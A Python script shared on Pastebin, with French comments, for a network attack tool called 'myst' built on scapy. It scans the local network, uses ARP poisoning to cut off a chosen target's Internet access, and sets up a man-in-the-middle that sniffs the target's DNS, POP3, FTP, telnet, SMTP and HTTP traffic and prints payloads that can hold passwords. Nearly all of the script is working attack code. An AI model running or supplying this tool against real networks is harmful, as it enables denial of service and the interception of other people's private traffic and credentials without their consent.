Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: UTF8 -*-
- ########################
- # Sources
- ########################
- # scapy http://www.secdev.org/projects/scapy/
- # sslstip http://www.thoughtcrime.org/software/sslstrip/
- # RFC 826 https://tools.ietf.org/html/rfc826
- #
- # http://libpfb.so/uploads/media/Cours_scapy.pdf <-- EXCELENT
- # https://theitgeekchronicles.files.wordpress.com/2012/05/scapyguide1.pdf
- # http://danmcinerney.org/reliable-dns-spoofing-with-python-scapy-nfqueue/ <--- IMPORTANT
- # http://webstersprodigy.net/2012/07/06/some-practical-arp-poison-attacks-with-scapy-iptables-and-burp/
- # http://www.networksorcery.com/enp/protocol/arp.htm
- # http://cruft.blogspot.fr/2009/01/arp-ping-using-scapy.html
- # http://www.secdev.org/projects/scapy/build_your_own_tools.html
- # http://thepacketgeek.com/scapy-p-10-emulating-nmap-functions/
- # http://stackoverflow.com/questions/2761829/python-get-default-gateway-for-a-local-interface-ip-address-in-linux
- # http://www.arppoisoning.com/demonstrating-an-arp-poisoning-attack/
- ###########################
- # Rappels des principaux flags TCP (qui apparaissent dans le summary des paquets)
- ###########################
- # URG : Signale la présence de données urgentes
- # ACK : signale que le paquet est un accusé de réception (acknowledgement)
- # PSH : données à envoyer tout de suite (push)
- # RST : rupture anormale de la connexion (reset)
- # SYN : demande de synchronisation (SYN) ou établissement de connexion
- # FIN : demande la FIN de la connexion
- #########################
- # Pre Requis
- #########################
- # tcpdump
- # python-scapy
- # tcpflow
- # gupnp-tools
- #########################
- # Procedures et fonctions
- #########################
- import sys, getopt, os, logging, time, threading, signal
- logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
- from scapy.all import *
- #from scapy.utils import PcapWriter
- conf.verb=0
- capfile = "./myst_tmp.pcap"
- scanfile = "./myst_tmp.txt"
- version="0.1"
- # --------------------
- def usage():
- print ("\nmyst " + version)
- print ("Usage: Choose one of the three folowing modes :\n")
- print ("myst -s SCAN network")
- print ("myst -k target_IP KILL Internet access for target")
- print ("myst -w target_IP WATCH activity of target")
- print (" ")
- print ("Options:\n")
- print ("-i , --int Interface (default eth0)")
- print ("-d , --decode store and decode http (watch mode only)")
- print ("-a , --answers also print answers from servers (watch mode only)")
- print ("-h , --help Print this help message.\n")
- # --------------------
- def parseOptions(argv):
- # Valeurs par defaut
- interface = "none"
- target = "0.0.0.0"
- mode = "none"
- decode = "no"
- answers = "no"
- try:
- # Note pour la syntaxe, un ':' après la lettre signifie que l'option attend un argument
- opts, args = getopt.getopt(argv, "hi:k:sw:da",["help","int=","kill=","scan","watch=","decode","answers"])
- for opt, arg in opts:
- if opt in ("-h", "--help"):
- usage()
- sys.exit()
- elif opt in ("-i", "--int"):
- interface = arg
- elif opt in ("-k", "--kill"):
- mode = "kill"
- target = arg
- elif opt in ("-s", "--scan"):
- mode = "scan"
- elif opt in ("-w", "--watch"):
- mode = "watch"
- target = arg
- elif opt in ("-d", "--decode"):
- decode = "yes"
- elif opt in ("-a", "--answers"):
- answers = "yes"
- return (interface,mode,target,decode,answers)
- except getopt.GetoptError:
- usage()
- sys.exit(2)
- # --------------------
- def guess_interface():
- return os.popen("/sbin/route -n | grep ^0.0.0.0 | awk '{print $8}'", "r").read().strip()
- # --------------------
- def get_default_gateway():
- return os.popen("/sbin/route -n | grep ^0.0.0.0 | awk '{print $2}'", "r").read().strip()
- # ---------------------
- def get_ip_and_mask(interface):
- return os.popen("/sbin/ip a s | grep inet | grep " + interface +" | awk '{print $2}'", "r").read().strip()
- # --------------------
- def disable_routing():
- file = open("/proc/sys/net/ipv4/ip_forward", "w")
- file.write("0\n")
- file.close()
- # --------------------
- def enable_routing():
- file = open("/proc/sys/net/ipv4/ip_forward", "w")
- file.write("1\n")
- file.close()
- # --------------------
- def poison(own_mac,target_mac,target_ip,gateway_ip,mode): # mode : request ou reply
- myarp = Ether()/ARP()
- if ( mode == 2 ):
- # Creation et envoi d'un paquet ARP (reply)
- myarp.dst = target_mac # On envoi une réponse arp à la victime (target mac)
- myarp.src = own_mac # Le paquet vient de la la MAC Addresse de l'attaquant
- myarp.op = 2 # Ce paquet est une réponse ARP
- myarp.hwsrc = own_mac # qui indique que la MAC addresse de l'attaquant
- myarp.psrc = gateway_ip # correspond à l'ip du routeur
- elif ( mode == 1 ):
- # Lors d'une demande (op=1), l'ordinateur qui reçoit le paquet en
- # proffite aussi pour mettre sa propre table un jour.
- myarp.dst = target_mac # Adresse MAC de la victime (Mais une véritable demande serait envoyée en broadwast)
- myarp.src = own_mac # Adresse MAC de l'attaquant qui se fait passer pour le routeur
- myarp.op = 1 # Il s'agit d'une demande
- myarp.psrc = gateway_ip # IP du routeur (que la victime va associer à notre MAC adresse)
- myarp.hwdst = '00:00:00:00:00:00' # On n'est pas censé connaitre la MAC de la victime, c'est ce qu'on demande !
- myarp.pdst = target_ip # IP de la victime (dont on prétend chercher la MAC adresse)
- while (1):
- #print (myarp.show())
- sendp (myarp)
- time.sleep (1)
- # ---------------------
- def unpoison():
- # Remise en etat de la table arp de la victime
- myarp = Ether(src=gateway_mac)/ARP(op=1, psrc=gateway_ip, pdst=target_ip, hwsrc=gateway_mac )
- sendp (myarp,count=3)
- # Remise en etat de la table arp de la gateway
- myarp = Ether(src=target_mac)/ARP(op=1, psrc=target_ip, pdst=gateway_ip, hwsrc=target_mac )
- sendp (myarp,count=3)
- # ---------------------
- def signal_handler(signal, frame):
- if ( mode == "scan" ):
- os._exit(0) # Methode crade qui quitte immediatement
- elif ( mode == "kill" ):
- poison_victim._Thread__stop()
- unpoison()
- disable_routing()
- print ("\nEnd of the attack, cleaning done")
- sys.exit(0) # Methode qui fait le ménage (threads, cnx reseaux...)
- elif ( mode == "watch" ):
- poison_victim._Thread__stop()
- poison_gateway._Thread__stop()
- unpoison()
- # decodage des paquets captures
- if ( decode == "yes" ):
- myfile.close()
- print ("\n*****************************************************")
- print (" HTTP dialogs")
- print ("*****************************************************")
- infos_file = os.stat(capfile)
- if ( infos_file.st_size > 0 ): # Si le fichier n'est pas vide
- print(os.popen("tcpflow -c -r " + capfile + " | more","r").read())
- else:
- print (" No http dialogs found ! \n")
- os.remove(capfile)
- disable_routing()
- print ("\nEnd of the attack, cleaning done")
- sys.exit(0)
- # ---------------------
- def pcap (packet):
- if (packet[Ether].dst == own_mac): # Inutile d'afficher le même paquet deux fois (routage...)
- if packet.haslayer(DNSQR): # Requetes DNS
- print (packet.summary())
- if packet.haslayer(TCP): # Pour les paquets TCP
- if (packet[TCP].dport == 110 ): # Protocole pop3
- print (packet.summary())
- print (packet[TCP].payload)
- if (packet[TCP].dport == 80 ): # Protocole http
- print (packet.summary())
- if ( decode == "yes" ):
- myfile.write(packet)
- # Ok, La suite est ridicule d'un point de vue programmation, mais cela permetra de
- # différencier eventuellement les traitements par la suite
- if (packet[TCP].dport == 21 ): # Protocole ftp
- print (packet[TCP].payload) # Les données passent sur le 20, on ne risque pas de flooder la console
- if (packet[TCP].dport == 23 ): # Protocole telnet
- print (packet[TCP].payload)
- if (packet[TCP].dport == 25 ): # Protocole smtp
- print (packet[TCP].payload)
- if (packet[IP].dst == target_ip): # Paquet "reponse" (serveur X -> cible)
- if (answers == "yes"):
- print (packet[TCP].payload)
- ######################
- # Tests au lancement
- ######################
- if ( os.getuid() != 0 ):
- print ("You need root privileges to use this tool.")
- print ("Exiting")
- sys.exit(1)
- if ( len(sys.argv) < 2):
- print ("Too few arguments !")
- print ("Try using myst -h for help")
- sys.exit(1)
- #######################
- # Récupération des parametres
- #######################
- (interface,mode,target_ip,decode,answers) = parseOptions(sys.argv[1:])
- print ("Guessing values...")
- target_mac = getmacbyip(target_ip)
- if ( interface == "none" ):
- interface = guess_interface()
- print ("interface : ") + interface
- own_mac = get_if_hwaddr(interface)
- gateway_ip = get_default_gateway()
- gateway_mac = getmacbyip(gateway_ip)
- mask = get_ip_and_mask(interface)
- own_ip = mask.split('/',1)[0]
- print ("IP/netmask : ") + mask
- print ("gateway : ") + gateway_ip
- # Ce programme doit s'arreter proprement sur un control-c
- signal.signal(signal.SIGINT, signal_handler)
- if ( mode == "none" ):
- print ("Okay but... What do you want to do ?")
- print ("Try using myst -h for help")
- sys.exit(1)
- if ( mode == "kill" ):
- print ("Initializing the attack...")
- disable_routing()
- poison_victim = threading.Thread(None, poison, None, (own_mac,target_mac,target_ip,gateway_ip,2))
- poison_victim.start()
- # NB : Dans ce cas, on peut laisser la table arp de la gateway tranquille...
- print ("Target " + target_ip + " have no more access to the net")
- print ("Press CTRL-C to stop the attack")
- while (1):
- time.sleep(1) # on ne fait rien d'autre que d'attendre le CtrlC, pendant que le thread attaque.
- if ( mode == "scan" ):
- print ("Scan will take less than 10 seconds. Please be patient.")
- os.system("gssdp-discover -i " + interface + " --timeout 4 | grep 'Location:' | cut -d ':' -f 2- | sort -u > " + scanfile)
- rep,sans_rep=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=mask),timeout=3)
- print (str(len(rep)) + " hosts founds :")
- for send,rcv in rep:
- url = "?"
- for line in open(scanfile):
- if rcv.psrc + ':' in line:
- url = line
- break
- print (rcv.psrc + "\t" + url.strip())
- os.remove(scanfile)
- sys.exit(0)
- if ( mode == "watch" ):
- # Filtre principale de capture (on ne s'interesse qu'a ce qui concerne la cible)
- myfilter="host " + target_ip
- print ("\nInitializing the attack...")
- print ("(Listening for DNS, POP3, SMTP, TELNET, FTP and HTTP trafic)")
- enable_routing()
- poison_victim = threading.Thread(None, poison, None, (own_mac,target_mac,target_ip,gateway_ip,2))
- poison_victim.start()
- poison_gateway = threading.Thread(None, poison, None, (own_mac,gateway_mac,gateway_ip,target_ip,2))
- poison_gateway.start()
- print ("Watching target ") + target_ip
- if ( decode == "yes" ):
- # On s'assure que le fichier de capture http soit vide
- myfile = open(capfile, "w")
- myfile.close
- myfile = PcapWriter(capfile, append=True, sync=False) # sync : Ecriture asyncrhone (utilisation d'un buffer)
- print ("Please note that the detail of http traffic will only appear AT THE END of the capture")
- print ("(need decoding / ungzip / follow stream using tcpflow)")
- print ("Press CTRL-C to stop the attack")
- sniff(filter=myfilter, iface=interface, store=0, prn=pcap)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement